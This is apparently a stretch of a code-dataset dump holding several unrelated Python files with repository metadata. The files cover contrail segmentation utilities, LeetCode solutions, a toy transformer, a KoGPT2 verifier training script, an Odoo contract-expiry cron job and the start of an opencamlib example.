).cpu()\r\n targ = F.interpolate(\r\n target[i].float().unsqueeze(0).unsqueeze(1), # interpolate as (N, C, H, W)\r\n scale_factor=1 / self.preview_downscale,\r\n mode='bilinear',\r\n align_corners=False, \r\n ).cpu()\r\n\r\n self.previews['input'].append(inp)\r\n self.previews['proba'].append((proba * 255).byte())\r\n self.previews['target'].append((targ * 255).byte())\r\n \r\n def compute(self):\r\n captions = list(self.previews.keys())\r\n preview_grids = [\r\n make_grid(\r\n torch.cat(v, dim=0), \r\n nrow=int(self.n_images ** 0.5)\r\n ).float()\r\n for v in self.previews.values()\r\n ]\r\n\r\n return captions, preview_grids\r\n\r\n\r\nclass FeatureExtractorWrapper(nn.Module):\r\n def __init__(self, model, format: Format | str = 'NHWC'):\r\n super().__init__()\r\n self.model = model\r\n self.output_stride = 32\r\n self.format = format if isinstance(format, Format) else Format(format)\r\n\r\n def __iter__(self):\r\n return iter(self.model)\r\n \r\n def forward(self, x):\r\n if self.format == Format('NHWC'):\r\n features = [nhwc_to(y, Format('NCHW')) for y in self.model(x)]\r\n else:\r\n features = self.model(x)\r\n return features\r\n\r\n\r\n@contextlib.contextmanager\r\ndef temp_setattr(object, attr_name, attr_value):\r\n old_value = getattr(object, attr_name)\r\n setattr(object, attr_name, attr_value)\r\n try:\r\n yield\r\n finally:\r\n setattr(object, attr_name, old_value)\r\n\r\n\r\nclass UpsampleWrapper(nn.Module):\r\n def __init__(self, model, n_frames=None, scale_factor=4, postprocess=None):\r\n super().__init__()\r\n self.model = model\r\n self.n_frames = n_frames\r\n\r\n self.upsampling = None\r\n if scale_factor != 1:\r\n self.upsampling = nn.UpsamplingBilinear2d(scale_factor=scale_factor)\r\n \r\n self.postprocess = None\r\n if postprocess == 'cnn':\r\n self.postprocess = nn.Sequential(\r\n nn.Conv2d(1, 1, kernel_size=3, padding=1, dilation=1, stride=1, bias=True, padding_mode='reflect'),\r\n nn.BatchNorm2d(1),\r\n nn.LeakyReLU(inplace=True),\r\n nn.Conv2d(1, 1, kernel_size=3, padding=1, dilation=1, stride=1, bias=True, padding_mode='reflect'),\r\n nn.BatchNorm2d(1),\r\n nn.LeakyReLU(inplace=True),\r\n nn.Conv2d(1, 1, kernel_size=3, padding=1, dilation=1, stride=1, bias=True, padding_mode='reflect'),\r\n )\r\n elif postprocess == 'erosion':\r\n self.postprocess = Erosion2d(1, 1, 3, soft_max=False)\r\n\r\n def forward(self, x):\r\n if self.n_frames is not None:\r\n # It is assumed that for training there is \r\n # self.n_frames <= N_TIMES frames and for inference\r\n # there is N_TIMES frames\r\n n_frames = self.n_frames if self.training else N_TIMES\r\n # To use albumentations, T dim is stacked to C dim\r\n # unstack here and stack to N dim to use with video model\r\n # (N, C * T, H, W) -> (N * T, C, H, W)\r\n N, C_T, H, W = x.shape\r\n assert C_T % n_frames == 0, \\\r\n f'Number of channels * frames for video {C_T} is not divisible by ' \\\r\n f'assumed number of frames {n_frames}.'\r\n C = C_T // n_frames\r\n x = x.view(N, C, n_frames, H, W)\r\n x = x.permute(0, 2, 1, 3, 4).contiguous()\r\n x = x.view(-1, C, H, W)\r\n \r\n # Get predictions: num_frames is different for train and val\r\n # but the model expects num_frames as per its config\r\n with temp_setattr(self.model.model.transformer_module, 'num_frames', n_frames):\r\n x = self.model(x)\r\n else:\r\n x = self.model(x)\r\n\r\n video = False\r\n if isinstance(x, torch.Tensor):\r\n # eva or mmseg or smp or smp_old\r\n pass\r\n else:\r\n # hf\r\n if 'logits' in x:\r\n # segformer or upernet\r\n x = x['logits']\r\n else:\r\n if x.masks_queries_logits.ndim == 4:\r\n # mask2former\r\n x, _ = x.masks_queries_logits.max(1, keepdim=True)\r\n elif x.masks_queries_logits.ndim == 5:\r\n video = True\r\n # video_mask2former\r\n # Note: scaling is only spatial not temporal, so\r\n # not not keep dim \r\n # (N, Q, T, H, W) -> (N, C = T, H, W)\r\n x, _ = x.masks_queries_logits.max(1, keepdim=False)\r\n\r\n # Upsample to original size\r\n if self.upsampling is not None:\r\n x = self.upsampling(x)\r\n\r\n # Postprocess\r\n # TODO: make it work with video\r\n if self.postprocess is not None and not video:\r\n x = self.postprocess(x)\r\n\r\n # Permute video\r\n if video:\r\n # (N, C = T, H, W) -> (N, H, W, C = T)\r\n x = x.permute(0, 2, 3, 1).contiguous()\r\n\r\n return x\r\n\r\n\r\ndef get_feature_channels(model, input_shape, output_format='NHWC'):\r\n is_training = model.training\r\n model.eval()\r\n \r\n x = torch.randn(1, *input_shape).to(next(model.parameters()).device)\r\n with torch.no_grad():\r\n y = model(x)\r\n channel_index = output_format.find('C')\r\n assert channel_index != -1, \\\r\n f'output_format {output_format} not supported, must contain C'\r\n assert all(len(output_format) == len(y_.shape) for y_ in y), \\\r\n f'output_format {output_format} does not match output shape {y[0].shape}'\r\n result = tuple(y_.shape[channel_index] for y_ in y)\r\n logger.info(f'feature channels: {result}')\r\n \r\n model.train(is_training)\r\n \r\n return result\r\n\r\n\r\ndef contrails_collate_fn(batch):\r\n \"\"\"Collate function for surface volume dataset.\r\n batch: list of dicts of key:str, value: np.ndarray | list | None\r\n output: dict of torch.Tensor\r\n \"\"\"\r\n output = defaultdict(list)\r\n for sample in batch:\r\n for k, v in sample.items():\r\n if v is None:\r\n continue\r\n output[k].append(v)\r\n \r\n for k, v in output.items():\r\n if isinstance(v[0], (str, int)) or v[0].dtype == object:\r\n output[k] = v\r\n else:\r\n output[k] = default_collate(v)\r\n \r\n return output\r\n\r\n\r\nclass CacheDictWithSave(dict):\r\n \"\"\"Cache dict that saves itself to disk when full.\"\"\"\r\n def __init__(self, record_dirs, cache_save_path: Optional[Path] = None, not_labeled_mode: bool = False, *args, **kwargs):\r\n if not_labeled_mode is None or not_labeled_mode == 'video':\r\n self.total_expected_records = len(record_dirs)\r\n elif not_labeled_mode == 'single':\r\n self.total_expected_records = len(record_dirs) * N_TIMES\r\n\r\n self.cache_save_path = cache_save_path\r\n self.cache_already_on_disk = False\r\n \r\n super().__init__(*args, **kwargs)\r\n\r\n if self.cache_save_path is not None and self.cache_save_path.exists():\r\n logger.info(f'Loading cache from {self.cache_save_path}')\r\n self.load()\r\n assert len(self) >= self.total_expected_records, \\\r\n f'Cache loaded from {self.cache_save_path} has {len(self)} records, ' \\\r\n f'but {self.total_expected_records} were expected.'\r\n \r\n # Check all the records are in the cache\r\n if not_labeled_mode is None:\r\n # Only labeled\r\n time_indices = [LABELED_TIME_INDEX]\r\n elif not_labeled_mode == 'video':\r\n # All, each record is full video\r\n # so no time index is needed\r\n time_indices = [None]\r\n elif not_labeled_mode == 'single':\r\n # All, each record is single frame\r\n time_indices = range(N_TIMES)\r\n\r\n for time_idx in time_indices:\r\n assert all((time_idx, d) in self for d in record_dirs)\r\n\r\n def __setitem__(self, index, value):\r\n # Hack to allow setting items in joblib.load()\r\n initialized = (\r\n hasattr(self, 'total_expected_records') and\r\n hasattr(self, 'cache_save_path') and\r\n hasattr(self, 'cache_already_on_disk')\r\n )\r\n if not initialized:\r\n super().__setitem__(index, value)\r\n return\r\n \r\n if len(self) >= self.total_expected_records + 1:\r\n logger.warning(\r\n f'More records than expected '\r\n f'({len(self)} >= {self.total_expected_records + 1}) '\r\n f'in cache. Will be added, but not saved to disk.'\r\n )\r\n super().__setitem__(index, value)\r\n if (\r\n not self.cache_already_on_disk and \r\n len(self) >= self.total_expected_records and \r\n self.cache_save_path is not None\r\n ):\r\n self.save()\r\n\r\n def load(self):\r\n cache = joblib.load(self.cache_save_path)\r\n self.update(cache)\r\n self.cache_already_on_disk = True\r\n\r\n def save(self):\r\n assert not self.cache_already_on_disk, \\\r\n f'cache_already_on_disk = True, but save() was called. ' \\\r\n f'This should not happen.'\r\n assert not self.cache_save_path.exists(), \\\r\n f'Cache save path {self.cache_save_path} already exists ' \\\r\n f'but was not loaded from disk (cache_already_on_disk = False). ' \\\r\n f'This should not happen.'\r\n\r\n logger.info(f'Saving cache to {self.cache_save_path}')\r\n joblib.dump(self, self.cache_save_path)\r\n self.cache_already_on_disk = True\r\n\r\nCacheDictWithSaveProxy = MakeProxyType(\"CacheDictWithSaveProxy\", [\r\n '__contains__', '__delitem__', '__getitem__', '__len__',\r\n '__setitem__', 'clear', 'copy', 'default_factory', 'fromkeys',\r\n 'get', 'items', 'keys', 'pop', 'popitem', 'setdefault',\r\n 'update', 'values'])\r\n\r\n# Register proxy on the main process\r\nSyncManager.register(\"CacheDictWithSaveProxy\", CacheDictWithSave, CacheDictWithSaveProxy)\r\n\r\n\r\nclass EMACallback(Callback):\r\n \"\"\"Wrapper around https://github.com/fadel/pytorch_ema\r\n library: keep track of exponential moving average of model \r\n weights across epochs with given decay and saves it \r\n on the end of training to each attached ModelCheckpoint \r\n callback output dir as `ema-{decay}.pth` file.\r\n \"\"\"\r\n def __init__(self, decay=0.9, save_on='train_epoch_end'):\r\n super().__init__()\r\n self.ema = None\r\n self.decay = decay\r\n\r\n assert save_on in ['train_epoch_end', 'validation_end', 'fit_end']\r\n self.save_on = save_on\r\n\r\n def on_fit_start(self, trainer, pl_module):\r\n self.ema = ExponentialMovingAverage(pl_module.parameters(), decay=self.decay)\r\n \r\n def on_train_epoch_end(self, trainer, pl_module):\r\n if self.ema is None:\r\n return\r\n\r\n self.ema.update()\r\n\r\n if self.save_on == 'train_epoch_end':\r\n self._save(trainer)\r\n \r\n def on_validation_end(self, trainer, pl_module):\r\n if self.ema is None:\r\n return\r\n\r\n if self.save_on == 'validation_end':\r\n self._save(trainer)\r\n\r\n def on_fit_end(self, trainer, pl_module):\r\n if self.ema is None:\r\n return\r\n \r\n if self.save_on == 'fit_end':\r\n self._save(trainer)\r\n \r\n def _save(self, trainer):\r\n assert self.ema is not None\r\n\r\n with self.ema.average_parameters():\r\n for cb in trainer.checkpoint_callbacks:\r\n if (\r\n isinstance(cb, ModelCheckpoint) and \r\n not isinstance(cb, ModelCheckpointNoSave)\r\n ):\r\n trainer.save_checkpoint(\r\n os.path.join(cb.dirpath, f'ema-{self.decay}.ckpt'),\r\n weights_only=False, # to easily operate via PL API\r\n )\r\n\r\n\r\ndef rle_encode(x, fg_val=1):\r\n \"\"\"\r\n Args:\r\n x: numpy array of shape (height, width), 1 - mask, 0 - background\r\n Returns: run length encoding as list\r\n \"\"\"\r\n\r\n dots = np.where(\r\n x.T.flatten() == fg_val)[0] # .T sets Fortran order down-then-right\r\n run_lengths = []\r\n prev = -2\r\n for b in dots:\r\n if b > prev + 1:\r\n run_lengths.extend((b + 1, 0))\r\n run_lengths[-1] += 1\r\n prev = b\r\n return run_lengths\r\n\r\n\r\ndef list_to_string(x):\r\n \"\"\"\r\n Converts list to a string representation\r\n Empty list returns '-'\r\n \"\"\"\r\n if x: # non-empty list\r\n s = str(x).replace(\"[\", \"\").replace(\"]\", \"\").replace(\",\", \"\")\r\n else:\r\n s = '-'\r\n return s\r\n\r\n\r\ndef rle_decode(mask_rle, shape=(256, 256)):\r\n '''\r\n mask_rle: run-length as string formatted (start length)\r\n empty predictions need to be encoded with '-'\r\n shape: (height, width) of array to return \r\n Returns numpy array, 1 - mask, 0 - background\r\n '''\r\n\r\n img = np.zeros(shape[0]*shape[1], dtype=np.uint8)\r\n if mask_rle != '-': \r\n s = mask_rle.split()\r\n starts, lengths = [np.asarray(x, dtype=int) for x in (s[0:][::2], s[1:][::2])]\r\n starts -= 1\r\n ends = starts + lengths\r\n for lo, hi in zip(starts, ends):\r\n img[lo:hi] = 1\r\n return img.reshape(shape, order='F') # Needed to align to RLE direction\r\n\r\n\r\nclass ContrailsPredictionWriterCsv(BasePredictionWriter):\r\n def __init__(self, output_path: Path, threshold: float = 0.5):\r\n super().__init__('batch_and_epoch')\r\n self.output_path = output_path\r\n assert 0 <= threshold <= 1\r\n self.threshold = threshold\r\n self.prediction_info = []\r\n\r\n def write_on_batch_end(\r\n self, trainer, pl_module, prediction, batch_indices, batch, batch_idx, dataloader_idx\r\n ):\r\n _, prediction = pl_module.extract_targets_and_probas_for_metric(prediction, batch)\r\n prediction = prediction.cpu().numpy() > self.threshold\r\n for i in range(prediction.shape[0]):\r\n self.prediction_info.append(\r\n {\r\n 'record_id': int(batch['path'][i].split('/')[-1]),\r\n 'encoded_pixels': list_to_string(rle_encode(prediction[i]))\r\n }\r\n )\r\n \r\n def write_on_epoch_end(self, trainer, pl_module, predictions, batch_indices):\r\n df = pd.DataFrame(self.prediction_info)\r\n\r\n # Sort by record_id\r\n df = df.sort_values(by=['record_id'])\r\n\r\n # Save to csv\r\n df.to_csv(self.output_path, index=False)\r\n\r\n \r\n# https://stackoverflow.com/questions/49555991/\r\n# can-i-create-a-local-numpy-random-seed\r\n@contextlib.contextmanager\r\ndef temp_seed(seed):\r\n state = np.random.get_state()\r\n np.random.seed(seed)\r\n try:\r\n yield\r\n finally:\r\n np.random.set_state(state)\r\n\r\n\r\nclass ContrailsPredictionWriterPng(BasePredictionWriter):\r\n def __init__(self, output_dir: Path, postfix: str | None = None, img_size = None, threshold = None):\r\n super().__init__('batch')\r\n output_dir.mkdir(parents=True, exist_ok=True)\r\n self.output_dir = output_dir\r\n if postfix is None:\r\n # Generate random alphanumeric string, seed is calculated from\r\n # sys.argv to make it reproducible but different for different\r\n # runs. Use numpy random\r\n seed = hash(tuple(sys.argv)) % (2 ** 32)\r\n with temp_seed(seed):\r\n postfix = ''.join(\r\n np.random.choice(list(string.ascii_letters + string.digits))\r\n for _ in range(10)\r\n )\r\n self.postfix = postfix\r\n logger.info(f'ContrailsPredictionWriterPng postfix: {postfix}')\r\n self.img_size = img_size\r\n self.threshold = threshold\r\n\r\n def write_on_batch_end(\r\n self, trainer, pl_module, prediction, batch_indices, batch, batch_idx, dataloader_idx\r\n ):\r\n _, prediction = pl_module.extract_targets_and_probas_for_metric(prediction, batch)\r\n\r\n # Resize if needed\r\n if self.img_size is not None and not (\r\n self.img_size == prediction.shape[1] and \r\n self.img_size == prediction.shape[2]\r\n ):\r\n prediction = F.interpolate(\r\n prediction.unsqueeze(1),\r\n size=(self.img_size, self.img_size),\r\n mode='bilinear',\r\n align_corners=False,\r\n ).squeeze(1)\r\n\r\n # Threshold\r\n if self.threshold is not None:\r\n prediction = (prediction > self.threshold).long()\r\n\r\n # Conver to numpy\r\n prediction = (prediction.cpu().numpy() * 255).astype(np.uint8)\r\n\r\n # Save\r\n for i in range(prediction.shape[0]):\r\n time_idx = batch['time_idx'][i] if 'time_idx' in batch else LABELED_TIME_INDEX\r\n out_path = self.output_dir / (batch['path'][i].split('/')[-1] + f'_{time_idx}_{self.postfix}.png')\r\n cv2.imwrite(str(out_path), prediction[i])\r\n\r\n\r\ndef interpolate_scale_factor_to_P_keep(scale_factor):\r\n assert scale_factor >= 1 and scale_factor <= 20.25, \\\r\n f'scale_factor must be in [1, 20.25], got {scale_factor}'\r\n a, b = (-0.04943797671403398, 1.0674201235161613)\r\n return np.clip(a * scale_factor + b, 0.0, 1.0)\r\n","repo_name":"mkotyushev/contrails","sub_path":"src/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":45202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15539472946","text":"\nclass Solution(object):\n def twoSum2(self, nums: list, target: int) -> list:\n k = len(nums) - 1\n i = 0\n res = []\n while i < k:\n if nums[i] + nums[k] > target:\n k -= 1\n elif nums[i] + nums[k] < target:\n i += 1\n else:\n res = [i, k]\n break\n return res\n \n def sortColors(self, nums: list) -> list:\n n = len(nums)\n p1 = 0\n p2 = n-1\n i = 0\n while i <= p2:\n while i <= p2 and nums[i] == 2:\n nums[i], nums[p2] = nums[p2], nums[i]\n p2 -= 1\n if nums[i] == 0:\n nums[i], nums[p1] = nums[p1], nums[i]\n p1 += 1\n i += 1\n return nums\n\n\n\n\nso = Solution()\n# res = so.twoSum2([2,7,22,23], 9)\nres = so.sortColors([0,1,2,1,2,0,1,2,0])\nprint(res)","repo_name":"WarMap/python_al","sub_path":"TwoPointer.py","file_name":"TwoPointer.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1717970501","text":"from tensorflow.keras.layers import LayerNormalization, Dense, LayerNormalization, Softmax \nimport tensorflow as tf \nimport numpy as np\n\nN_Token = 16 #\nm, H = 2, 2 \n\nB,T,C = 1, 5, m*H #Batch, Time, Channels\ndata = np.array([[0, 3, 6, 9, 12, 15]]) #T+1 data points\n\n#Creating the input and output pairs\ny_observed = data[:,1:] # 3,6,9,12,15 shape (B, T)\nT_input = tf.Variable(data[:,0:T]) # 0,3,6, 9,12 shape (B, T)\nT_input.shape, y_observed.shape\n\n#Creating the embedding layer of the input\nembedding_matrix = tf.Variable(tf.random.normal([N_Token, C]))\n#tf.gather picks the rows of the embedding matrix corresponding to the input tokens\nx = tf.gather(embedding_matrix, T_input) #shape (B, T, C)\nprint(np.round(x[0].numpy().T, 2))\nx = LayerNormalization()(x) \n\n### Attention Layer calculation of the weight matix W\n## We first go into the space where the attention is calculated (comparison between the query and the key)) \nwk = tf.random.normal(shape=(H, C, m)) # The weights for the key\nK = tf.einsum('btc, hcm -> bhtm', x, wk) # Transformation in the B, H, T, m \nprint(\"K, Q, V\")\nprint(np.round(K[0,0].numpy().T, 2))\n\nwq = tf.random.normal(shape=(H, C, m))\nQ = tf.einsum('btc, hcm -> bhtm', x, wq) \nprint(np.round(Q[0,0].numpy().T, 2))\n\nwV = tf.random.normal(shape=(H, C, m))\nV = tf.einsum('btc, hcm -> bhtm', x, wV) \nprint(np.round(V[0,0].numpy().T, 2))\n\nW = tf.einsum('bhtd, bhTd -> bhtT', Q, K) # B, H, T, T\n\n#Normalization\nW = W / tf.sqrt(1.0*m)\n\n#Causal Masking (Still a bit ugly code)\n# Create a mask with zeros in the lower triangular part, including diagonal\nW_shape = W.shape\nmask = tf.ones(W_shape[-2:]) - tf.linalg.band_part(tf.ones(W_shape[-2:]), -1, 0)\nmask = mask * -tf.float32.max# Broadcast the mask to the shape of W\nmask = tf.broadcast_to(mask, W_shape)\nW = W + mask\nprint(np.round(W[0,0].numpy(), 2))\n\n#Softmax\nW = tf.nn.softmax(W, axis=-1)\nprint(np.round(W[0,0].numpy(), 2))\n\n#Multiply with V\nxout = tf.einsum('bhtm, bhtd -> bhtd', W, V) # B, H, T, m\nprint(np.round(xout[0,0].numpy().T, 2))\nprint(np.round(xout[0,1].numpy().T, 2))\n\n#Concactinate the heads (not the fastest solution)\nxout_list = []\n# Loop over the attention heads (axis=1 of xout)\nfor i in range(H):\n xout_head = xout[:, i, :, :] # Shape: (B, T, m)\n xout_list.append(xout_head)\n# Concatenate along the last axis (axis=-1)\nxout = tf.concat(xout_list, axis=-1)\nprint(np.round(xout[0].numpy().T, 2))\n\n# A linear layer\nxout = tf.keras.layers.Dense(C)(xout)\n\n# A residual connection\nx = x + xout\n\n# A layer normalization\nx = LayerNormalization()(x) #np.round(tf.reduce_mean(x, axis=-1),2)\n\n# A feed forward layer (along the C axis)\nxout = Dense(4*C, activation='relu')(x) #In GPT a GeLu activation is used\nxout = Dense(C)(xout)\nx = x + xout #Again Residual connection\n\n# This attention block is repeated many times\nx = LayerNormalization()(x) #Layer Normalization\nxout = Dense(N_Token, activation='relu')(x) #From (B, T, C) to (B, T, N_Token)\npout = Softmax(axis=-1)(xout) #Softmax along the last axis\n\n\n# The loss function\ny_observed_one_hot = tf.one_hot(y_observed, depth=N_Token) # shape: (B, T, N_Token)\nloss = -tf.reduce_sum(y_observed_one_hot * tf.math.log(pout + 1e-10)) / (B * T) # Add a small constant for numerical stability\n\nprint(\"Loss:\", loss.numpy())","repo_name":"ioskn/mldl_htwg","sub_path":"transformers/atto_GTP.py","file_name":"atto_GTP.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"27971845766","text":"if \"__file__\" in globals():\n import os, sys\n sys.path.append(os.path.join(os.path.dirname(__file__), \"../..\"))\n\n\nimport os\nimport torch\nimport wandb\nfrom transformers import (\n AutoTokenizer, \n GPT2LMHeadModel,\n TrainingArguments,\n Trainer,\n)\nfrom datasets import load_dataset\nimport pandas as pd\nfrom datasets import load_metric\nimport numpy as np\nfrom utils import GPTAccuracyMetrics, get_answer\nimport sys\nimport time\nimport random\nimport argparse as ap\nfrom torch import nn, optim\nimport torch.nn.functional as F\nimport json\nfrom tqdm import tqdm\n\n\ntorch.manual_seed(42)\nnp.random.seed(42)\nrandom.seed(42) \ntorch.cuda.manual_seed_all(42)\n\ndef prepare_train_features(examples):\n for i, j in enumerate(examples['problem']):\n examples['problem'][i] = j + '' + str(examples[\"class\"][i]) + ''\n\n tokenized_examples = tokenizer(\n text=examples['problem'],\n text_pair=examples['code'],\n padding='max_length',\n max_length=260\n )\n tokenized_examples[\"labels\"] = tokenized_examples[\"input_ids\"].copy()\n for i in range(len(examples['attention_mask'])):\n tokenized_examples[\"attention_mask\"][i] = torch.tensor(list(map(int,examples['attention_mask'][i].split()))+[0]*(260-len(examples['attention_mask'][i].split())))\n tokenized_examples[\"labels\"][i] = torch.tensor(list(map(int,examples['labels'][i].split()))+[0]*(260-len(examples['labels'][i].split())))\n \n \n return tokenized_examples\n\n\n\nfilepath = 'verifier_data'\nfilename = 'verifier_data.csv'\nhomedir = os.getcwd()\n\n\ntokenizer = AutoTokenizer.from_pretrained('skt/kogpt2-base-v2', bos_token='', sep_token='', eos_token='', pad_token='')\ndataset = load_dataset('csv', data_files=f'{homedir}/CloudData/math/data/{filepath}/{filename}', split='train')\ndictdataset = dataset.train_test_split(0.06)\ntokenized_datasets = dictdataset.map(prepare_train_features, batched=True, remove_columns=dataset.column_names)\ntokenized_datasets.set_format(type='torch', columns=['input_ids', 'attention_mask', 'labels'],device='cuda')\n\n\n\nclass Verifier(nn.Module):\n def __init__(self, model_path='skt/kogpt2-base-v2'):\n super(Verifier, self).__init__()\n self.kogpt = GPT2LMHeadModel.from_pretrained(model_path, output_hidden_states=True)\n self.linear1 = nn.Linear(768,64)\n self.linear2 = nn.Linear(64,1)\n self.sigmoid = torch.sigmoid\n\n def forward(self, **data):\n self.kogpt.train()\n output = self.kogpt(**data)\n batch, n_head, senlen, emb = output[2][-1][-1].shape\n output = output[2][-1][-1].transpose(1,2).view(batch,-1,768)\n output = self.linear1(output)\n output = self.linear2(output)\n output = self.sigmoid(output)\n return output\n\n def joint(self, model):\n self.gen_model=model\n\n def generate(self, tokenized_data, EVAL_BATCH=8, per_sentence=True):\n self.eval()\n outputs = self.gen_model.generate(tokenized_data, max_length = 260, do_sample=True, top_k=50, top_p=0.95, num_return_sequences=100)\n output_shape = outputs.shape()\n scores = []\n for i in range(0,output_shape[0],EVAL_BATCH):\n score = self(output[i:i+EVAL])\n score = torch.sum(score, axis=1)\n scores.extend(score.numpy().to_list())\n\n return scores\n\n\ndef train():\n t = tqdm(range(0,100000,BATCH_SIZE))\n for i in t:\n global verifier\n \n verifier.train()\n verifier.zero_grad()\n \n output = verifier(**tokenized_datasets['train'][i:i+BATCH_SIZE])\n \n output = output.squeeze() * tokenized_datasets['train']['attention_mask'][i:i+BATCH_SIZE] #.type(torch.FloatTensor)\n \n loss = (output - tokenized_datasets['train']['labels'][i:i+BATCH_SIZE])**2\n \n loss = torch.sum(loss)\n \n t.set_description_str('What? %2d' % (i//BATCH_SIZE + 1))\n t.set_postfix_str('Loss %.4f' % (loss.item() / (BATCH_SIZE)))\n loss = loss / torch.tensor(BATCH_SIZE)\n optimizer.zero_grad()\n\n loss.backward()\n optimizer.step()\n scheduler.step()\n\nverifier = Verifier()\n\nverifier.load_state_dict(torch.load('veri/first.pt'))\n\nmodel = GPT2LMHeadModel.from_pretrained(\"gen_verifier/gen_data_cp300\").to(device)\n\nverifier.gen_model(model)\n\nverifier.to('cuda')\n\nlearning_rate = 0.00001\n\noptimizer = optim.Adam(verifier.parameters(), lr=learning_rate)\n\nscheduler = torch.optim.lr_scheduler.OneCycleLR(optimizer, max_lr=0.001, \n steps_per_epoch=1000, epochs=10,anneal_strategy='linear')\n\nBATCH_SIZE = 32\n\n\nprint(verifier.generate(tokenized_datasets['test'][0]['input_ids']))\n\n# train()\n\n# torch.save(verifier.state_dict(), 'veri/first.pt')\n","repo_name":"SunCreation/CloudData","sub_path":"nn/koGPT-2/verifier.py","file_name":"verifier.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30866016949","text":"class NumMatrix:\n\n def __init__(self, matrix: List[List[int]]):\n self.matrix = matrix\n # modify matrix so that matrix[i][j] is sumRegion(0, 0, i, j)\n width, height = len(matrix[0]), len(matrix)\n for i in range(height):\n curr_sum = 0\n for j in range(width):\n curr_sum += matrix[i][j]\n matrix[i][j] = curr_sum\n if i != 0:\n for j in range(width):\n matrix[i][j] += matrix[i - 1][j]\n\n def access(self, x: int, y: int) -> int:\n return self.matrix[x][y] if (x >= 0 and y >= 0) else 0\n \n def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n row1 -= 1\n col1 -= 1\n return self.access(row2, col2) + self.access(row1, col1) - self.access(row1, col2) - self.access(row2, col1)\n \n# Your NumMatrix object will be instantiated and called as such:\n# obj = NumMatrix(matrix)\n# param_1 = obj.sumRegion(row1,col1,row2,col2)","repo_name":"Maxwell-Yang-2001/maxwell-yang-leetcode","sub_path":"304-range-sum-query-2d-immutable/304-range-sum-query-2d-immutable.py","file_name":"304-range-sum-query-2d-immutable.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41688914531","text":"import time\nimport datetime\nfrom datetime import date, datetime, timedelta\nfrom dateutil import relativedelta\nfrom openerp.osv import fields, osv\nfrom dateutil.relativedelta import relativedelta\nfrom openerp.tools.translate import _\nimport datetime\nfrom openerp.tools import DEFAULT_SERVER_DATE_FORMAT,DEFAULT_SERVER_DATETIME_FORMAT\n\n\nclass schedeule_warning(osv.osv):\n\t_name = \"schedule.warning\"\n\t_description = \" module untuk memberikan warning jika ada kontrak yang mau habis\"\n\n\t_columns = {\n\t\t'name' : fields.selection([('kontrak','Kontrak')], 'Warning',required=True),\n\t\t'lama' : fields.integer(\"Warning/Hari\"),\n\t}\nschedeule_warning()\n\nclass contract(osv.osv):\n\t_inherit = \"hr.contract\"\n\n\tdef cron_kontrak(self, cr, uid, ids=None,context=None):\n\t\tchat_obj = self.pool.get('im_chat.message')\n\t\tconversation_obj= self.pool.get('im_chat.conversation_state')\n\t\tsession_obj \t= self.pool.get('im_chat.session')\n\n\t\tdate \t\t\t= fields.date.today()\n\t\tdate_now \t\t= datetime.datetime.strptime(date,\"%Y-%m-%d\")\n\n\t\tobj = self.pool.get(\"schedule.warning\")\n\t\tsearch = obj.search(cr,uid,[('name','=','kontrak')])\n\t\tday = obj.browse(cr,uid,search)[0].lama \n\t\tdays_warning \t= datetime.timedelta(days=day)\n\t\t\n\t\tcontract_expired = self.search(cr,uid,[('date_end','<',str(date_now+days_warning)),('date_end','>',str(date_now))],context=context)\n\t\tcontract_expired_3 = self.search(cr,uid,[('date_end','>',str(date_now+days_warning)),('date_end','>',str(date_now))],context=context)\n\t\tcontract_expired_4 = self.search(cr,uid,[('date_end','=',False)],context=context)\n\t\tcontract_expired_2 = contract_expired_3 + contract_expired_4\n\n\t\tx = 0\n\t\tdata = []\n\t\tfor no in self.browse(cr,uid,contract_expired) :\n\t\t\tfor no_1 in self.browse(cr,uid,contract_expired_2) :\n\t\t\t\tif no.employee_id.id == no_1.employee_id.id :\n\t\t\t\t\tx = 1 \n\t\t\tif x != 1:\n\t\t\t\tdata.append(no.id)\t\t \n\t\t\n\t\tnames = 'Kontrak a/n'\n\t\tfor name in self.browse(cr,uid,data) :\n\t\t\tnames = names + \" \"+ name.name + \",\"\n\n\t\tobj = self.pool.get(\"res.users\").search(cr,uid,[('name','=','info')])\n\n\t\tif contract_expired :\n\n\t\t\t#create sesi chat\n\t\t\tsession_id \t\t= session_obj.create(cr,uid,{})\n\n\t\t\t#create chat yang di sign ke user warehouse dengan sesi yang di buat sebelumnya\n\t\t\tconversation_obj.create(cr,uid,{'state':'open',\n\t\t\t\t\t\t\t\t\t\t\t'session_id':session_id,\n\t\t\t\t\t\t\t\t\t\t\t'user_id':1})\n\n\t\t\t# create message\n\t\t\tif days_warning :\n\t\t\t\tchat_obj.create(cr,uid,{'create_date':fields.date.today(),\n\t\t\t\t\t\t\t\t\t\t'from_id':obj[0],\n\t\t\t\t\t\t\t\t\t\t'to_id':session_id,\n\t\t\t\t\t\t\t\t\t\t'type':'meta',\n\t\t\t\t\t\t\t\t\t\t'message':names + 'Sudah Masuk Masa Kaladuarsa'})\n\n\t\t\tchat_obj.create(cr,uid,{'create_date':fields.date.today(),\n\t\t\t\t\t\t\t\t\t\t'from_id':obj[0],\n\t\t\t\t\t\t\t\t\t\t'to_id':session_id,\n\t\t\t\t\t\t\t\t\t\t'type':'meta',\n\t\t\t\t\t\t\t\t\t\t'message':'Pemberitahuan ini dibuat oleh sistem, mohon tidak di balas. Terima kasih.'})\t\t\t\t\n\n\t\treturn True","repo_name":"akhdaniel/addons","sub_path":"BIJB/hrd_schedule_warning/schedule.py","file_name":"schedule.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"32949739282","text":"from opencamlib import ocl, camvtk\nimport time\n\nif __name__ == \"__main__\": \n print(ocl.version())\n \n myscreen = camvtk.VTKScreen() \n stl = 